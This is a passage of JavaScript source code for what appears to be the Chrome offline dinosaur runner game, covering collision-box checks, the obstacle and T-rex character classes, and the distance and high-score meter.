      tRex.config.HEIGHT - 2);

  const obstacleBox = new CollisionBox(
      obstacle.xPos + 1,
      obstacle.yPos + 1,
      obstacle.typeConfig.width * obstacle.size - 2,
      obstacle.typeConfig.height - 2);

  // Debug outer box
  if (opt_canvasCtx) {
    drawCollisionBoxes(opt_canvasCtx, tRexBox, obstacleBox);
  }

  // Simple outer bounds check.
  if (boxCompare(tRexBox, obstacleBox)) {
    const collisionBoxes = obstacle.collisionBoxes;
    let tRexCollisionBoxes = [];

    if (Runner.isAltGameModeEnabled()) {
      tRexCollisionBoxes = Runner.spriteDefinition.TREX.COLLISION_BOXES;
    } else {
      tRexCollisionBoxes = tRex.ducking ? Trex.collisionBoxes.DUCKING :
                                          Trex.collisionBoxes.RUNNING;
    }

    // Detailed axis aligned box check.
    for (let t = 0; t < tRexCollisionBoxes.length; t++) {
      for (let i = 0; i < collisionBoxes.length; i++) {
        // Adjust the box to actual positions.
        const adjTrexBox =
            createAdjustedCollisionBox(tRexCollisionBoxes[t], tRexBox);
        const adjObstacleBox =
            createAdjustedCollisionBox(collisionBoxes[i], obstacleBox);
        const crashed = boxCompare(adjTrexBox, adjObstacleBox);

        // Draw boxes for debug.
        if (opt_canvasCtx) {
          drawCollisionBoxes(opt_canvasCtx, adjTrexBox, adjObstacleBox);
        }

        if (crashed) {
          return [adjTrexBox, adjObstacleBox];
        }
      }
    }
  }
}


/**
 * Adjust the collision box.
 * @param {!CollisionBox} box The original box.
 * @param {!CollisionBox} adjustment Adjustment box.
 * @return {CollisionBox} The adjusted collision box object.
 */
function createAdjustedCollisionBox(box, adjustment) {
  return new CollisionBox(
      box.x + adjustment.x,
      box.y + adjustment.y,
      box.width,
      box.height);
}


/**
 * Draw the collision boxes for debug.
 */
function drawCollisionBoxes(canvasCtx, tRexBox, obstacleBox) {
  canvasCtx.save();
  canvasCtx.strokeStyle = '#f00';
  canvasCtx.strokeRect(tRexBox.x, tRexBox.y, tRexBox.width, tRexBox.height);

  canvasCtx.strokeStyle = '#0f0';
  canvasCtx.strokeRect(obstacleBox.x, obstacleBox.y,
      obstacleBox.width, obstacleBox.height);
  canvasCtx.restore();
}


/**
 * Compare two collision boxes for a collision.
 * @param {CollisionBox} tRexBox
 * @param {CollisionBox} obstacleBox
 * @return {boolean} Whether the boxes intersected.
 */
function boxCompare(tRexBox, obstacleBox) {
  let crashed = false;
  const tRexBoxX = tRexBox.x;
  const tRexBoxY = tRexBox.y;

  const obstacleBoxX = obstacleBox.x;
  const obstacleBoxY = obstacleBox.y;

  // Axis-Aligned Bounding Box method.
  if (tRexBox.x < obstacleBoxX + obstacleBox.width &&
      tRexBox.x + tRexBox.width > obstacleBoxX &&
      tRexBox.y < obstacleBox.y + obstacleBox.height &&
      tRexBox.height + tRexBox.y > obstacleBox.y) {
    crashed = true;
  }

  return crashed;
}


//******************************************************************************

/**
 * Collision box object.
 * @param {number} x X position.
 * @param {number} y Y Position.
 * @param {number} w Width.
 * @param {number} h Height.
 * @constructor
 */
function CollisionBox(x, y, w, h) {
  this.x = x;
  this.y = y;
  this.width = w;
  this.height = h;
}


//******************************************************************************

/**
 * Obstacle.
 * @param {CanvasRenderingContext2D} canvasCtx
 * @param {ObstacleType} type
 * @param {Object} spriteImgPos Obstacle position in sprite.
 * @param {Object} dimensions
 * @param {number} gapCoefficient Mutipler in determining the gap.
 * @param {number} speed
 * @param {number=} opt_xOffset
 * @param {boolean=} opt_isAltGameMode
 * @constructor
 */
function Obstacle(
    canvasCtx, type, spriteImgPos, dimensions, gapCoefficient, speed,
    opt_xOffset, opt_isAltGameMode) {
  this.canvasCtx = canvasCtx;
  this.spritePos = spriteImgPos;
  this.typeConfig = type;
  this.gapCoefficient = Runner.slowDown ? gapCoefficient * 2 : gapCoefficient;
  this.size = getRandomNum(1, Obstacle.MAX_OBSTACLE_LENGTH);
  this.dimensions = dimensions;
  this.remove = false;
  this.xPos = dimensions.WIDTH + (opt_xOffset || 0);
  this.yPos = 0;
  this.width = 0;
  this.collisionBoxes = [];
  this.gap = 0;
  this.speedOffset = 0;
  this.altGameModeActive = opt_isAltGameMode;
  this.imageSprite = this.typeConfig.type == 'COLLECTABLE' ?
      Runner.altCommonImageSprite :
      this.altGameModeActive ? Runner.altGameImageSprite : Runner.imageSprite;

  // For animated obstacles.
  this.currentFrame = 0;
  this.timer = 0;

  this.init(speed);
}

/**
 * Coefficient for calculating the maximum gap.
 */
Obstacle.MAX_GAP_COEFFICIENT = 1.5;

/**
 * Maximum obstacle grouping count.
 */
Obstacle.MAX_OBSTACLE_LENGTH = 3;


Obstacle.prototype = {
  /**
   * Initialise the DOM for the obstacle.
   * @param {number} speed
   */
  init(speed) {
    this.cloneCollisionBoxes();

    // Only allow sizing if we're at the right speed.
    if (this.size > 1 && this.typeConfig.multipleSpeed > speed) {
      this.size = 1;
    }

    this.width = this.typeConfig.width * this.size;

    // Check if obstacle can be positioned at various heights.
    if (Array.isArray(this.typeConfig.yPos)) {
      const yPosConfig =
          IS_MOBILE ? this.typeConfig.yPosMobile : this.typeConfig.yPos;
      this.yPos = yPosConfig[getRandomNum(0, yPosConfig.length - 1)];
    } else {
      this.yPos = this.typeConfig.yPos;
    }

    this.draw();

    // Make collision box adjustments,
    // Central box is adjusted to the size as one box.
    //      ____        ______        ________
    //    _|   |-|    _|     |-|    _|       |-|
    //   | |<->| |   | |<--->| |   | |<----->| |
    //   | | 1 | |   | |  2  | |   | |   3   | |
    //   |_|___|_|   |_|_____|_|   |_|_______|_|
    //
    if (this.size > 1) {
      this.collisionBoxes[1].width = this.width - this.collisionBoxes[0].width -
          this.collisionBoxes[2].width;
      this.collisionBoxes[2].x = this.width - this.collisionBoxes[2].width;
    }

    // For obstacles that go at a different speed from the horizon.
    if (this.typeConfig.speedOffset) {
      this.speedOffset = Math.random() > 0.5 ? this.typeConfig.speedOffset :
                                               -this.typeConfig.speedOffset;
    }

    this.gap = this.getGap(this.gapCoefficient, speed);

    // Increase gap for audio cues enabled.
    if (Runner.audioCues) {
      this.gap *= 2;
    }
  },

  /**
   * Draw and crop based on size.
   */
  draw() {
    let sourceWidth = this.typeConfig.width;
    let sourceHeight = this.typeConfig.height;

    if (IS_HIDPI) {
      sourceWidth = sourceWidth * 2;
      sourceHeight = sourceHeight * 2;
    }

    // X position in sprite.
    let sourceX =
        (sourceWidth * this.size) * (0.5 * (this.size - 1)) + this.spritePos.x;

    // Animation frames.
    if (this.currentFrame > 0) {
      sourceX += sourceWidth * this.currentFrame;
    }

    this.canvasCtx.drawImage(
        this.imageSprite, sourceX, this.spritePos.y, sourceWidth * this.size,
        sourceHeight, this.xPos, this.yPos, this.typeConfig.width * this.size,
        this.typeConfig.height);
  },

  /**
   * Obstacle frame update.
   * @param {number} deltaTime
   * @param {number} speed
   */
  update(deltaTime, speed) {
    if (!this.remove) {
      if (this.typeConfig.speedOffset) {
        speed += this.speedOffset;
      }
      this.xPos -= Math.floor((speed * FPS / 1000) * deltaTime);

      // Update frame
      if (this.typeConfig.numFrames) {
        this.timer += deltaTime;
        if (this.timer >= this.typeConfig.frameRate) {
          this.currentFrame =
              this.currentFrame === this.typeConfig.numFrames - 1 ?
              0 :
              this.currentFrame + 1;
          this.timer = 0;
        }
      }
      this.draw();

      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Calculate a random gap size.
   * - Minimum gap gets wider as speed increses
   * @param {number} gapCoefficient
   * @param {number} speed
   * @return {number} The gap size.
   */
  getGap(gapCoefficient, speed) {
    const minGap = Math.round(
        this.width * speed + this.typeConfig.minGap * gapCoefficient);
    const maxGap = Math.round(minGap * Obstacle.MAX_GAP_COEFFICIENT);
    return getRandomNum(minGap, maxGap);
  },

  /**
   * Check if obstacle is visible.
   * @return {boolean} Whether the obstacle is in the game area.
   */
  isVisible() {
    return this.xPos + this.width > 0;
  },

  /**
   * Make a copy of the collision boxes, since these will change based on
   * obstacle type and size.
   */
  cloneCollisionBoxes() {
    const collisionBoxes = this.typeConfig.collisionBoxes;

    for (let i = collisionBoxes.length - 1; i >= 0; i--) {
      this.collisionBoxes[i] = new CollisionBox(
          collisionBoxes[i].x, collisionBoxes[i].y, collisionBoxes[i].width,
          collisionBoxes[i].height);
    }
  },
};


//******************************************************************************
/**
 * T-rex game character.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} spritePos Positioning within image sprite.
 * @constructor
 */
function Trex(canvas, spritePos) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.xPos = 0;
  this.yPos = 0;
  this.xInitialPos = 0;
  // Position when on the ground.
  this.groundYPos = 0;
  this.currentFrame = 0;
  this.currentAnimFrames = [];
  this.blinkDelay = 0;
  this.blinkCount = 0;
  this.animStartTime = 0;
  this.timer = 0;
  this.msPerFrame = 1000 / FPS;
  this.config = Object.assign(Trex.config, Trex.normalJumpConfig);
  // Current status.
  this.status = Trex.status.WAITING;
  this.jumping = false;
  this.ducking = false;
  this.jumpVelocity = 0;
  this.reachedMinHeight = false;
  this.speedDrop = false;
  this.jumpCount = 0;
  this.jumpspotX = 0;
  this.altGameModeEnabled = false;
  this.flashing = false;

  this.init();
}


/**
 * T-rex player config.
 */
Trex.config = {
  DROP_VELOCITY: -5,
  FLASH_OFF: 175,
  FLASH_ON: 100,
  HEIGHT: 47,
  HEIGHT_DUCK: 25,
  INTRO_DURATION: 1500,
  SPEED_DROP_COEFFICIENT: 3,
  SPRITE_WIDTH: 262,
  START_X_POS: 50,
  WIDTH: 44,
  WIDTH_DUCK: 59,
};

Trex.slowJumpConfig = {
  GRAVITY: 0.25,
  MAX_JUMP_HEIGHT: 50,
  MIN_JUMP_HEIGHT: 45,
  INITIAL_JUMP_VELOCITY: -20,
};

Trex.normalJumpConfig = {
  GRAVITY: 0.6,
  MAX_JUMP_HEIGHT: 30,
  MIN_JUMP_HEIGHT: 30,
  INITIAL_JUMP_VELOCITY: -10,
};

/**
 * Used in collision detection.
 * @enum {Array<CollisionBox>}
 */
Trex.collisionBoxes = {
  DUCKING: [new CollisionBox(1, 18, 55, 25)],
  RUNNING: [
    new CollisionBox(22, 0, 17, 16),
    new CollisionBox(1, 18, 30, 9),
    new CollisionBox(10, 35, 14, 8),
    new CollisionBox(1, 24, 29, 5),
    new CollisionBox(5, 30, 21, 4),
    new CollisionBox(9, 34, 15, 4),
  ],
};


/**
 * Animation states.
 * @enum {string}
 */
Trex.status = {
  CRASHED: 'CRASHED',
  DUCKING: 'DUCKING',
  JUMPING: 'JUMPING',
  RUNNING: 'RUNNING',
  WAITING: 'WAITING',
};

/**
 * Blinking coefficient.
 * @const
 */
Trex.BLINK_TIMING = 7000;


/**
 * Animation config for different states.
 * @enum {Object}
 */
Trex.animFrames = {
  WAITING: {
    frames: [44, 0],
    msPerFrame: 1000 / 3,
  },
  RUNNING: {
    frames: [88, 132],
    msPerFrame: 1000 / 12,
  },
  CRASHED: {
    frames: [220],
    msPerFrame: 1000 / 60,
  },
  JUMPING: {
    frames: [0],
    msPerFrame: 1000 / 60,
  },
  DUCKING: {
    frames: [264, 323],
    msPerFrame: 1000 / 8,
  },
};


Trex.prototype = {
  /**
   * T-rex player initaliser.
   * Sets the t-rex to blink at random intervals.
   */
  init() {
    this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
        Runner.config.BOTTOM_PAD;
    this.yPos = this.groundYPos;
    this.minJumpHeight = this.groundYPos - this.config.MIN_JUMP_HEIGHT;

    this.draw(0, 0);
    this.update(0, Trex.status.WAITING);
  },

  /**
   * Assign the appropriate jump parameters based on the game speed.
   */
  enableSlowConfig: function() {
    const jumpConfig =
        Runner.slowDown ? Trex.slowJumpConfig : Trex.normalJumpConfig;
    Trex.config = Object.assign(Trex.config, jumpConfig);

    this.adjustAltGameConfigForSlowSpeed();
  },

  /**
   * Enables the alternative game. Redefines the dino config.
   * @param {Object} spritePos New positioning within image sprite.
   */
  enableAltGameMode: function(spritePos) {
    this.altGameModeEnabled = true;
    this.spritePos = spritePos;
    const spriteDefinition = Runner.spriteDefinition['TREX'];

    // Update animation frames.
    Trex.animFrames.RUNNING.frames =
        [spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
    Trex.animFrames.CRASHED.frames = [spriteDefinition.CRASHED.x];

    if (typeof spriteDefinition.JUMPING.x == 'object') {
      Trex.animFrames.JUMPING.frames = spriteDefinition.JUMPING.x;
    } else {
      Trex.animFrames.JUMPING.frames = [spriteDefinition.JUMPING.x];
    }

    Trex.animFrames.DUCKING.frames =
        [spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];

    // Update Trex config
    Trex.config.GRAVITY = spriteDefinition.GRAVITY || Trex.config.GRAVITY;
    Trex.config.HEIGHT = spriteDefinition.RUNNING_1.h,
    Trex.config.INITIAL_JUMP_VELOCITY = spriteDefinition.INITIAL_JUMP_VELOCITY;
    Trex.config.MAX_JUMP_HEIGHT = spriteDefinition.MAX_JUMP_HEIGHT;
    Trex.config.MIN_JUMP_HEIGHT = spriteDefinition.MIN_JUMP_HEIGHT;
    Trex.config.WIDTH = spriteDefinition.RUNNING_1.w;
    Trex.config.WIDTH_JUMP = spriteDefinition.JUMPING.w;
    Trex.config.INVERT_JUMP = spriteDefinition.INVERT_JUMP;

    this.adjustAltGameConfigForSlowSpeed(spriteDefinition.GRAVITY);
    this.config = Trex.config;

    // Adjust bottom horizon placement.
    this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
        Runner.spriteDefinition['BOTTOM_PAD'];
    this.yPos = this.groundYPos;
    this.reset();
  },

  /**
   * Slow speeds adjustments for the alt game modes.
   * @param {number=} opt_gravityValue
   */
  adjustAltGameConfigForSlowSpeed: function(opt_gravityValue) {
    if (Runner.slowDown) {
      if (opt_gravityValue) {
        Trex.config.GRAVITY = opt_gravityValue / 1.5;
      }
      Trex.config.MIN_JUMP_HEIGHT *= 1.5;
      Trex.config.MAX_JUMP_HEIGHT *= 1.5;
      Trex.config.INITIAL_JUMP_VELOCITY =
          Trex.config.INITIAL_JUMP_VELOCITY * 1.5;
    }
  },

  /**
   * Setter whether dino is flashing.
   * @param {boolean} status
   */
  setFlashing: function(status) {
    this.flashing = status;
  },

  /**
   * Setter for the jump velocity.
   * The approriate drop velocity is also set.
   * @param {number} setting
   */
  setJumpVelocity(setting) {
    this.config.INITIAL_JUMP_VELOCITY = -setting;
    this.config.DROP_VELOCITY = -setting / 2;
  },

  /**
   * Set the animation status.
   * @param {!number} deltaTime
   * @param {Trex.status=} opt_status Optional status to switch to.
   */
  update(deltaTime, opt_status) {
    this.timer += deltaTime;

    // Update the status.
    if (opt_status) {
      this.status = opt_status;
      this.currentFrame = 0;
      this.msPerFrame = Trex.animFrames[opt_status].msPerFrame;
      this.currentAnimFrames = Trex.animFrames[opt_status].frames;

      if (opt_status === Trex.status.WAITING) {
        this.animStartTime = getTimeStamp();
        this.setBlinkDelay();
      }
    }
    // Game intro animation, T-rex moves in from the left.
    if (this.playingIntro && this.xPos < this.config.START_X_POS) {
      this.xPos += Math.round((this.config.START_X_POS /
          this.config.INTRO_DURATION) * deltaTime);
      this.xInitialPos = this.xPos;
    }

    if (this.status === Trex.status.WAITING) {
      this.blink(getTimeStamp());
    } else {
      this.draw(this.currentAnimFrames[this.currentFrame], 0);
    }

    // Update the frame position.
    if (!this.flashing && this.timer >= this.msPerFrame) {
      this.currentFrame = this.currentFrame ==
          this.currentAnimFrames.length - 1 ? 0 : this.currentFrame + 1;
      this.timer = 0;
    }

    if (!this.altGameModeEnabled) {
      // Speed drop becomes duck if the down key is still being pressed.
      if (this.speedDrop && this.yPos === this.groundYPos) {
        this.speedDrop = false;
        this.setDuck(true);
      }
    }
  },

  /**
   * Draw the t-rex to a particular position.
   * @param {number} x
   * @param {number} y
   */
  draw(x, y) {
    let sourceX = x;
    let sourceY = y;
    let sourceWidth = this.ducking && this.status !== Trex.status.CRASHED ?
        this.config.WIDTH_DUCK :
        this.config.WIDTH;
    let sourceHeight = this.config.HEIGHT;
    const outputHeight = sourceHeight;

    let jumpOffset = Runner.spriteDefinition.TREX.JUMPING.xOffset;

    // Width of sprite changes on jump.
    if (this.altGameModeEnabled && this.jumping &&
        this.status !== Trex.status.CRASHED) {
      sourceWidth = this.config.WIDTH_JUMP;
    }

    if (IS_HIDPI) {
      sourceX *= 2;
      sourceY *= 2;
      sourceWidth *= 2;
      sourceHeight *= 2;
      jumpOffset *= 2;
    }

    // Adjustments for sprite sheet position.
    sourceX += this.spritePos.x;
    sourceY += this.spritePos.y;

    // Flashing.
    if (this.flashing) {
      if (this.timer < this.config.FLASH_ON) {
        this.canvasCtx.globalAlpha = 0.5;
      } else if (this.timer > this.config.FLASH_OFF) {
        this.timer = 0;
      }
    }

    // Ducking.
    if (!this.altGameModeEnabled && this.ducking &&
        this.status !== Trex.status.CRASHED) {
      this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
          sourceWidth, sourceHeight,
          this.xPos, this.yPos,
          this.config.WIDTH_DUCK, outputHeight);
    } else if (
        this.altGameModeEnabled && this.jumping &&
        this.status !== Trex.status.CRASHED) {
      // Jumping with adjustments.
      this.canvasCtx.drawImage(
          Runner.imageSprite, sourceX, sourceY, sourceWidth, sourceHeight,
          this.xPos - jumpOffset, this.yPos, this.config.WIDTH_JUMP,
          outputHeight);
    } else {
      // Crashed whilst ducking. Trex is standing up so needs adjustment.
      if (this.ducking && this.status === Trex.status.CRASHED) {
        this.xPos++;
      }
      // Standing / running
      this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
          sourceWidth, sourceHeight,
          this.xPos, this.yPos,
          this.config.WIDTH, outputHeight);
    }
    this.canvasCtx.globalAlpha = 1;
  },

  /**
   * Sets a random time for the blink to happen.
   */
  setBlinkDelay() {
    this.blinkDelay = Math.ceil(Math.random() * Trex.BLINK_TIMING);
  },

  /**
   * Make t-rex blink at random intervals.
   * @param {number} time Current time in milliseconds.
   */
  blink(time) {
    const deltaTime = time - this.animStartTime;

    if (deltaTime >= this.blinkDelay) {
      this.draw(this.currentAnimFrames[this.currentFrame], 0);

      if (this.currentFrame === 1) {
        // Set new random delay to blink.
        this.setBlinkDelay();
        this.animStartTime = time;
        this.blinkCount++;
      }
    }
  },

  /**
   * Initialise a jump.
   * @param {number} speed
   */
  startJump(speed) {
    if (!this.jumping) {
      this.update(0, Trex.status.JUMPING);
      // Tweak the jump velocity based on the speed.
      this.jumpVelocity = this.config.INITIAL_JUMP_VELOCITY - (speed / 10);
      this.jumping = true;
      this.reachedMinHeight = false;
      this.speedDrop = false;

      if (this.config.INVERT_JUMP) {
        this.minJumpHeight = this.groundYPos + this.config.MIN_JUMP_HEIGHT;
      }
    }
  },

  /**
   * Jump is complete, falling down.
   */
  endJump() {
    if (this.reachedMinHeight &&
        this.jumpVelocity < this.config.DROP_VELOCITY) {
      this.jumpVelocity = this.config.DROP_VELOCITY;
    }
  },

  /**
   * Update frame for a jump.
   * @param {number} deltaTime
   */
  updateJump(deltaTime) {
    const msPerFrame = Trex.animFrames[this.status].msPerFrame;
    const framesElapsed = deltaTime / msPerFrame;

    // Speed drop makes Trex fall faster.
    if (this.speedDrop) {
      this.yPos += Math.round(this.jumpVelocity *
          this.config.SPEED_DROP_COEFFICIENT * framesElapsed);
    } else if (this.config.INVERT_JUMP) {
      this.yPos -= Math.round(this.jumpVelocity * framesElapsed);
    } else {
      this.yPos += Math.round(this.jumpVelocity * framesElapsed);
    }

    this.jumpVelocity += this.config.GRAVITY * framesElapsed;

    // Minimum height has been reached.
    if (this.config.INVERT_JUMP && (this.yPos > this.minJumpHeight) ||
        !this.config.INVERT_JUMP && (this.yPos < this.minJumpHeight) ||
        this.speedDrop) {
      this.reachedMinHeight = true;
    }

    // Reached max height.
    if (this.config.INVERT_JUMP && (this.yPos > -this.config.MAX_JUMP_HEIGHT) ||
        !this.config.INVERT_JUMP && (this.yPos < this.config.MAX_JUMP_HEIGHT) ||
        this.speedDrop) {
      this.endJump();
    }

    // Back down at ground level. Jump completed.
    if ((this.config.INVERT_JUMP && this.yPos) < this.groundYPos ||
        (!this.config.INVERT_JUMP && this.yPos) > this.groundYPos) {
      this.reset();
      this.jumpCount++;

      if (Runner.audioCues) {
        Runner.generatedSoundFx.loopFootSteps();
      }
    }
  },

  /**
   * Set the speed drop. Immediately cancels the current jump.
   */
  setSpeedDrop() {
    this.speedDrop = true;
    this.jumpVelocity = 1;
  },

  /**
   * @param {boolean} isDucking
   */
  setDuck(isDucking) {
    if (isDucking && this.status !== Trex.status.DUCKING) {
      this.update(0, Trex.status.DUCKING);
      this.ducking = true;
    } else if (this.status === Trex.status.DUCKING) {
      this.update(0, Trex.status.RUNNING);
      this.ducking = false;
    }
  },

  /**
   * Reset the t-rex to running at start of game.
   */
  reset() {
    this.xPos = this.xInitialPos;
    this.yPos = this.groundYPos;
    this.jumpVelocity = 0;
    this.jumping = false;
    this.ducking = false;
    this.update(0, Trex.status.RUNNING);
    this.midair = false;
    this.speedDrop = false;
    this.jumpCount = 0;
  },
};


//******************************************************************************

/**
 * Handles displaying the distance meter.
 * @param {!HTMLCanvasElement} canvas
 * @param {Object} spritePos Image position in sprite.
 * @param {number} canvasWidth
 * @constructor
 */
function DistanceMeter(canvas, spritePos, canvasWidth) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.image = Runner.imageSprite;
  this.spritePos = spritePos;
  this.x = 0;
  this.y = 5;

  this.currentDistance = 0;
  this.maxScore = 0;
  this.highScore = '0';
  this.container = null;

  this.digits = [];
  this.achievement = false;
  this.defaultString = '';
  this.flashTimer = 0;
  this.flashIterations = 0;
  this.invertTrigger = false;
  this.flashingRafId = null;
  this.highScoreBounds = {};
  this.highScoreFlashing = false;

  this.config = DistanceMeter.config;
  this.maxScoreUnits = this.config.MAX_DISTANCE_UNITS;
  this.canvasWidth = canvasWidth;
  this.init(canvasWidth);
}


/**
 * @enum {number}
 */
DistanceMeter.dimensions = {
  WIDTH: 10,
  HEIGHT: 13,
  DEST_WIDTH: 11,
};


/**
 * Y positioning of the digits in the sprite sheet.
 * X position is always 0.
 * @type {Array<number>}
 */
DistanceMeter.yPos = [0, 13, 27, 40, 53, 67, 80, 93, 107, 120];


/**
 * Distance meter config.
 * @enum {number}
 */
DistanceMeter.config = {
  // Number of digits.
  MAX_DISTANCE_UNITS: 5,

  // Distance that causes achievement animation.
  ACHIEVEMENT_DISTANCE: 100,

  // Used for conversion from pixel distance to a scaled unit.
  COEFFICIENT: 0.025,

  // Flash duration in milliseconds.
  FLASH_DURATION: 1000 / 4,

  // Flash iterations for achievement animation.
  FLASH_ITERATIONS: 3,

  // Padding around the high score hit area.
  HIGH_SCORE_HIT_AREA_PADDING: 4,
};


DistanceMeter.prototype = {
  /**
   * Initialise the distance meter to '00000'.
   * @param {number} width Canvas width in px.
   */
  init(width) {
    let maxDistanceStr = '';

    this.calcXPos(width);
    this.maxScore = this.maxScoreUnits;
    for (let i = 0; i < this.maxScoreUnits; i++) {
      this.draw(i, 0);
      this.defaultString += '0';
      maxDistanceStr += '9';
    }

    this.maxScore = parseInt(maxDistanceStr, 10);
  },

  /**
   * Calculate the xPos in the canvas.
   * @param {number} canvasWidth
   */
  calcXPos(canvasWidth) {
    this.x = canvasWidth - (DistanceMeter.dimensions.DEST_WIDTH *
        (this.maxScoreUnits + 1));
  },

  /**
   * Draw a digit to canvas.
   * @param {number} digitPos Position of the digit.
   * @param {number} value Digit value 0-9.
   * @param {boolean=} opt_highScore Whether drawing the high score.
   */
  draw(digitPos, value, opt_highScore) {
    let sourceWidth = DistanceMeter.dimensions.WIDTH;
    let sourceHeight = DistanceMeter.dimensions.HEIGHT;
    let sourceX = DistanceMeter.dimensions.WIDTH * value;
    let sourceY = 0;

    const targetX = digitPos * DistanceMeter.dimensions.DEST_WIDTH;
    const targetY = this.y;
    const targetWidth = DistanceMeter.dimensions.WIDTH;
    const targetHeight = DistanceMeter.dimensions.HEIGHT;

    // For high DPI we 2x source values.
    if (IS_HIDPI) {
      sourceWidth *= 2;
      sourceHeight *= 2;
      sourceX *= 2;
    }

    sourceX += this.spritePos.x;
    sourceY += this.spritePos.y;

    this.canvasCtx.save();

    if (IS_RTL) {
      if (opt_highScore) {
        this.canvasCtx.translate(
            this.canvasWidth -
                (DistanceMeter.dimensions.WIDTH * (this.maxScoreUnits + 3)),
            this.y);
      } else {
        this.canvasCtx.translate(
            this.canvasWidth - DistanceMeter.dimensions.WIDTH, this.y);
      }
      this.canvasCtx.scale(-1, 1);
    } else {
      const highScoreX =
          this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH;
      if (opt_highScore) {
        this.canvasCtx.translate(highScoreX, this.y);
      } else {
        this.canvasCtx.translate(this.x, this.y);
      }
    }

    this.canvasCtx.drawImage(
        this.image,
        sourceX,
        sourceY,
        sourceWidth,
        sourceHeight,
        targetX,
        targetY,
        targetWidth,
        targetHeight,
    );

    this.canvasCtx.restore();
  },

  /**
   * Covert pixel distance to a 'real' distance.
   * @param {number} distance Pixel distance ran.
   * @return {number} The 'real' distance ran.
   */
  getActualDistance(distance) {
    return distance ? Math.round(distance * this.config.COEFFICIENT) : 0;
  },

  /**
   * Update the distance meter.
   * @param {number} distance
   * @param {number} deltaTime
   * @return {boolean} Whether the acheivement sound fx should be played.
   */
  update(deltaTime, distance) {
    let paint = true;
    let playSound = false;

    if (!this.achievement) {
      distance = this.getActualDistance(distance);
      // Score has gone beyond the initial digit count.
      if (distance > this.maxScore && this.maxScoreUnits ==
        this.config.MAX_DISTANCE_UNITS) {
        this.maxScoreUnits++;
        this.maxScore = parseInt(this.maxScore + '9', 10);
      } else {
        this.distance = 0;
      }

      if (distance > 0) {
        // Achievement unlocked.
        if (distance % this.config.ACHIEVEMENT_DISTANCE === 0) {
          // Flash score and play sound.
          this.achievement = true;
          this.flashTimer = 0;
          playSound = true;
        }

        // Create a string representation of the distance with leading 0.
        const distanceStr = (this.defaultString +
            distance).substr(-this.maxScoreUnits);
        this.digits = distanceStr.split('');
      } else {
        this.digits = this.defaultString.split('');
      }
    } else {
      // Control flashing of the score on reaching acheivement.
      if (this.flashIterations <= this.config.FLASH_ITERATIONS) {
        this.flashTimer += deltaTime;

        if (this.flashTimer < this.config.FLASH_DURATION) {
          paint = false;
        } else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
          this.flashTimer = 0;
          this.flashIterations++;
        }
      } else {
        this.achievement = false;
        this.flashIterations = 0;
        this.flashTimer = 0;
      }
    }

    // Draw the digits if not flashing.
    if (paint) {
      for (let i = this.digits.length - 1; i >= 0; i--) {
        this.draw(i, parseInt(this.digits[i], 10));
      }
    }

    this.drawHighScore();
    return playSound;
  },

  /**
   * Draw the high score.
   */
  drawHighScore() {
    if (parseInt(this.highScore, 10) > 0) {
      this.canvasCtx.save();
      this.canvasCtx.globalAlpha = .8;
      for (let i = this.highScore.length - 1; i >= 0; i--) {
        this.draw(i, parseInt(this.highScore[i], 10), true);
      }
      this.canvasCtx.restore();
    }
  },

  /**
   * Set the highscore as a array string.
   * Position of char in the sprite: H - 10, I - 11.
   * @param {number} distance Distance ran in pixels.
   */
  setHighScore(distance) {
    distance = this.getActualDistance(distance);
    const highScoreStr = (this.defaultString +
        distance).substr(-this.maxScoreUnits);

    this.highScore = ['10', '11', ''].concat(highScoreStr.split(''));
  },


  /**
   * Whether a clicked is in the high score area.
   * @param {Event} e Event object.
   * @return {boolean} Whether the click was in the high score bounds.
   */
  hasClickedOnHighScore(e) {
    let x = 0;
    let y = 0;

    if (e.touches) {
      // Bounds for touch differ from pointer.
      const canvasBounds = this.canvas.getBoundingClientRect();
      x = e.touches[0].clientX - canvasBounds.left;
      y = e.touches[0].clientY - canvasBounds.top;
    } else {
      x = e.offsetX;
      y = e.offsetY;
    }

    this.highScoreBounds = this.getHighScoreBounds();
    return x >= this.highScoreBounds.x && x <=
        this.highScoreBounds.x + this.highScoreBounds.width &&
        y >= this.highScoreBounds.y && y <=
        this.highScoreBounds.y + this.highScoreBounds.height;
  },

  /**
   * Get the bounding box for the high score.
   * @return {Object} Object with x, y, width and height properties.
   */
  getHighScoreBounds() {
    return {
      x: (this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH) -
          DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
      y: this.y,
      width: DistanceMeter.dimensions.WIDTH * (this.highScore.length + 1) +
          DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
      height: DistanceMeter.dimensions.HEIGHT +
          (DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING * 2),
    };
  },

  /**
   * Animate flashing the high score to indicate ready for resetting.
   * The flashing stops following this.config.FLASH_ITERATIONS x 2 flashes.
   */
  flashHighScore() {
    const now = getTimeStamp();
    const deltaTime = now - (this.frameTimeStamp || now);
    let paint = true;
    this.frameTimeStamp = now;

    // Reached the max number of flashes.
    if (this.flashIterations > this.config.FLASH_ITERATIONS * 2) {
      this.cancelHighScoreFlashing();
      return;
    }

    this.flashTimer += deltaTime;

    if (this.flashTimer < this.config.FLASH_DURATION) {
      paint = false;
    } else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
      this.flashTimer = 0;
      this.flashIterations++;
    }

    if (paint) {
      this.drawHighScore();
    } else {
      this.clearHighScoreBounds();
    }
    // Frame update.
    this.flashingRafId =
        requestAnimationFrame(this.flashHighScore.bind(this));
  },

  /**
   * Draw empty rectangle over high score.
   */
  clearHighScoreBounds() {
    this.canvasCtx.save();
